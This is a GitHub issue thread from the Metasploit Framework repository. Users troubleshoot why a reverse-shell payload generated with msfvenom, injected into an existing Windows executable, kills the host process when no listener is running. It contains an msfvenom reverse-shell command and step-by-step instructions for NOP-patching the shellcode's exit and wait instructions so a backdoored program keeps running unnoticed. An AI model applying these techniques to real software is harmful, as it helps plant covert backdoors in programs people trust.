rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.04k stars 13.94k forks source link

MSFVenom Shellcode Exit Behavior #8481

Closed 0xM closed 3 years ago

0xM commented 7 years ago

Steps to reproduce

I am trying to create a reverse shell payload msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.50 LPORT=4444 -f hex to backdoor an existing PE.

Victim OS: Vista Home Premium SP 1

Expected behavior

I am expecting the PE to run normally if the remote system "10.0.0.50" is not listening on port 4444. By this I mean, the application continue to execute instructions normally after the last instruction of the shellcode.

Current behavior

The application terminates in the middle of the shellcode and does not hit the breakpoint I placed at the last instruction of the shellcode (which is always CALL EBP).

I have tried all EXITFUNC variations (seh, thread and none). unfortunately, none of them gave me the desired behavior and the application always terminates if the remote listener is not up.

When the application terminates, EIP is pointing to "ntdll.KiFastSystemCallRet" and the top of the stack is pointing to "ntdll.ZwTerminateProcess+0c"

Note: I confirmed that everything works fine if the remote system "10.0.0.50" is listening on port 4444. The reverse shell is spawned and once exited (by typing exit on the spawned shell), then the application continue to work normally. So the problem I am facing is only when the remote listener is not running.

Metasploit version

Framework Version: 4.12.22-dev

OS

Kali GNU/Linux Rolling

wwebb-r7 commented 7 years ago

Tagging this issue for my own benefit. I'll try to reproduce and take a look in the near future on my end.

https://github.com/rapid7/metasploit-framework/issues/5811

bewniac commented 7 years ago

I have the same issue 4.14.28-0kali1

0xbc commented 6 years ago

Same issue here, exactly the same symptoms (ExitProcess always gets called if the connect-back isn't caught, regardless of the value of EXITFUNC). If I can do anything to assist debugging, please let me know.

(Kali Rolling, latest msf package install as of today.)

ghost commented 6 years ago

Anyone knows how to fix this?

timwr commented 6 years ago

Does this also occur with msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.50 LPORT=4444 -f hex? Notice windows/shell/reverse_tcp != windows/shell_reverse_tcp.

It would probably help to convert https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/windows/shell_reverse_tcp.rb#L37 to use metasm.

picheljitsu commented 6 years ago

Really late, but this is because -1 is passed to WaitForSingleObject. The assembly code output by MS can't be manually edited (unless you manually decode the instructions, then re-encode) since the instructions that make up that parameter and call to WaitForSingleObject are encoded when the shellcode is generated, then decoded in memory prior to executing.

To replicate: Once binary is patched and ran, locate the MS shellcode instructions in a debugger, place a breakpoint at the return (should only be one and it's toward the end). Continue execution and step through the code until you reach DEC ESI, PUSH ESI. ESI will be 0 so decrementing sets it to -1 (all 0xF's). Next call will be to WaitForSingleObject with that -1 as a parameter.

picheljitsu commented 6 years ago

This is caused by line 44 in https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_shell.asm

picheljitsu commented 6 years ago

You can edit shell_reverse_tcp.rb to manually nop out the dec instruction. The shellcode in its non-encoded version is there.

ke1satsu commented 6 years ago

Hmm I'm not sure if that's really related picheljitsu, I just tried putting shellcode for shell_reverse_tcp in a PE-file and manually edited out the part handling WaitForSingleObject. The bug seems to still be there, if there is no handler/listener ready to catch the shell the process terminates as stated.

SynAckPwn23 commented 5 years ago

Exactly the same issue, any solutions?

socket8088 commented 5 years ago

I'm having the same problem. Anyone knows any workaround to solve this? Thank you

xchg-ax-ax commented 5 years ago

Ok ran into the same issue. Went through the sourcecode at : https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm The problem starts on line 58, if it can not connect to the socket it falls into this failure block. Simply NOP these opcodes out of your shellcode, adjust the -1 parameter for the WaitForSingleObject call as picheljitsu stated and and the application will start if there is no listener to connect to.

kano9116 commented 4 years ago

I found the solution by doing what @xchg-ax-ax and @picheljitsu wrote before...

In order to avoid the shellcode quitting if the attack machine was not listening, i removed the "failure:" part from https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm by looking with Immunity debugger the strings f0b5a256 and replace this:

push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp

with NOP's with the last modification, even if the attacker machine is not listening, the execution flaw is going to continue, however, if the attacker machine is listening, the attacker is going to receive the shell, and the flow execution will continue only if the attacker exits the shell.....

from file https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_shell.asm its neccesary to avoid the ESI value to change to -1 by changing to NOP's the line 44 "dec esi ; Decrement ESI down to -1 (INFINITE)",

Now the flow execution is going to execute whether the attack machine is listening or not and if the shellcode is received, its not going to be necessary to exit to continue with the flow execution.

francoataffarel commented 3 years ago

I found the solution by doing what @xchg-ax-ax and @picheljitsu wrote before...

In order to avoid the shellcode quitting if the attack machine was not listening, i removed the "failure:" part from https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm by looking with Immunity debugger the strings f0b5a256 and replace this:

push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp

with NOP's with the last modification, even if the attacker machine is not listening, the execution flaw is going to continue, however, if the attacker machine is listening, the attacker is going to receive the shell, and the flow execution will continue only if the attacker exits the shell.....

from file https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_shell.asm its neccesary to avoid the ESI value to change to -1 by changing to NOP's the line 44 "dec esi ; Decrement ESI down to -1 (INFINITE)",

Now the flow execution is going to execute whether the attack machine is listening or not and if the shellcode is received, its not going to be necessary to exit to continue with the flow execution.

there are same thing for a bind_tcp?

github-actions[bot] commented 3 years ago

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

github-actions[bot] commented 3 years ago

Hi again!

It’s been 60 days since anything happened on this issue, so we are going to close it. Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.